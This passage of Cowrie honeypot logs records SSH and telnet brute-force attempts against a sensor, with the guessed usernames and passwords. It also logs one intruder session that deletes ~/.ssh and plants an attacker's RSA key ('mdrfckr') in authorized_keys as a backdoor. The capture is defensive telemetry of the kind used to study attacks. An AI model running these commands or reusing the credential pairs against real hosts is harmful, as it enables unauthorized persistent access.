a-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:40:43.053447Z","src_ip":"103.86.180.10","session":"01668b6273a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"tester123","message":"login attempt [test/tester123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:40:43.865721Z","src_ip":"103.86.180.10","session":"01668b6273a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:40:45.064128Z","src_ip":"103.86.180.10","session":"01668b6273a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":43584,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfe8bbf35049","protocol":"ssh","message":"New connection: 203.90.110.186:43584 (10.17.0.5:22) [session: dfe8bbf35049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:40:53.659029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:40:53.664324Z","src_ip":"203.90.110.186","session":"dfe8bbf35049","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:40:53.880423Z","src_ip":"203.90.110.186","session":"dfe8bbf35049","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssword1","message":"login attempt [admin/P@ssword1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:40:54.764415Z","src_ip":"203.90.110.186","session":"dfe8bbf35049","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":59240,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dda4cc548e8","protocol":"telnet","message":"New connection: 185.26.126.47:59240 (159.203.135.109:23) [session: 5dda4cc548e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:40:54.835299Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:40:55.981800Z","src_ip":"203.90.110.186","session":"dfe8bbf35049","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":51338,"dst_ip":"10.17.0.5","dst_port":22,"session":"81c3c9fcc191","protocol":"ssh","message":"New connection: 41.86.34.139:51338 (10.17.0.5:22) [session: 81c3c9fcc191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:06.353468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:06.357677Z","src_ip":"41.86.34.139","session":"81c3c9fcc191","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:06.565302Z","src_ip":"41.86.34.139","session":"81c3c9fcc191","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.080952167510986,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:06.916112Z","src_ip":"185.26.126.47","session":"5dda4cc548e8","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"steam","password":"Welcome1","message":"login attempt [steam/Welcome1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:07.430992Z","src_ip":"41.86.34.139","session":"81c3c9fcc191","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:07.889904Z","src_ip":"41.86.34.139","session":"81c3c9fcc191","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:07.892870Z","src_ip":"41.86.34.139","session":"81c3c9fcc191","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:07.896027Z","src_ip":"41.86.34.139","session":"81c3c9fcc191","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:08.106241Z","src_ip":"41.86.34.139","session":"81c3c9fcc191","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:08.569987Z","src_ip":"41.86.34.139","session":"81c3c9fcc191","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:08.573554Z","src_ip":"41.86.34.139","session":"81c3c9fcc191","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:08.787206Z","src_ip":"41.86.34.139","session":"81c3c9fcc191","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:08.791296Z","src_ip":"41.86.34.139","session":"81c3c9fcc191","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":51350,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2b82c465573","protocol":"ssh","message":"New connection: 41.86.34.139:51350 (10.17.0.5:22) [session: b2b82c465573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:08.990247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:08.995332Z","src_ip":"41.86.34.139","session":"b2b82c465573","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:09.202996Z","src_ip":"41.86.34.139","session":"b2b82c465573","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:10.064581Z","src_ip":"41.86.34.139","session":"b2b82c465573","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:11.278008Z","src_ip":"41.86.34.139","session":"b2b82c465573","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":51358,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd6b0c72f323","protocol":"ssh","message":"New connection: 41.86.34.139:51358 (10.17.0.5:22) [session: fd6b0c72f323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:11.481762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:11.487627Z","src_ip":"41.86.34.139","session":"fd6b0c72f323","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:11.697401Z","src_ip":"41.86.34.139","session":"fd6b0c72f323","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:12.559821Z","src_ip":"41.86.34.139","session":"fd6b0c72f323","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:12.771263Z","src_ip":"41.86.34.139","session":"81c3c9fcc191","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:12.775112Z","src_ip":"41.86.34.139","session":"fd6b0c72f323","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.85246229171753,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:22.645175Z","src_ip":"137.184.155.248","session":"0d66c7c86638","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":34096,"dst_ip":"10.17.0.5","dst_port":22,"session":"c99a6811688f","protocol":"ssh","message":"New connection: 186.4.240.226:34096 (10.17.0.5:22) [session: c99a6811688f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:25.577544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:25.583185Z","src_ip":"186.4.240.226","session":"c99a6811688f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:25.676937Z","src_ip":"186.4.240.226","session":"c99a6811688f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"P@ssw0rd","message":"login attempt [student/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:26.078900Z","src_ip":"186.4.240.226","session":"c99a6811688f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:27.173181Z","src_ip":"186.4.240.226","session":"c99a6811688f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.253.251.7","src_port":46694,"dst_ip":"159.203.135.109","dst_port":22,"session":"b89e40572c32","protocol":"ssh","message":"New connection: 72.253.251.7:46694 (159.203.135.109:22) [session: b89e40572c32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:39.279457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:39.283244Z","src_ip":"72.253.251.7","session":"b89e40572c32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:39.400376Z","src_ip":"72.253.251.7","session":"b89e40572c32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456As","message":"login attempt [root/123456As] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:39.899272Z","src_ip":"72.253.251.7","session":"b89e40572c32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:41.020453Z","src_ip":"72.253.251.7","session":"b89e40572c32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":58442,"dst_ip":"159.203.135.109","dst_port":22,"session":"47951f715b9c","protocol":"ssh","message":"New connection: 103.86.180.10:58442 (159.203.135.109:22) [session: 47951f715b9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:42.172598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:41:42.177497Z","src_ip":"103.86.180.10","session":"47951f715b9c","protocol":"ssh"}
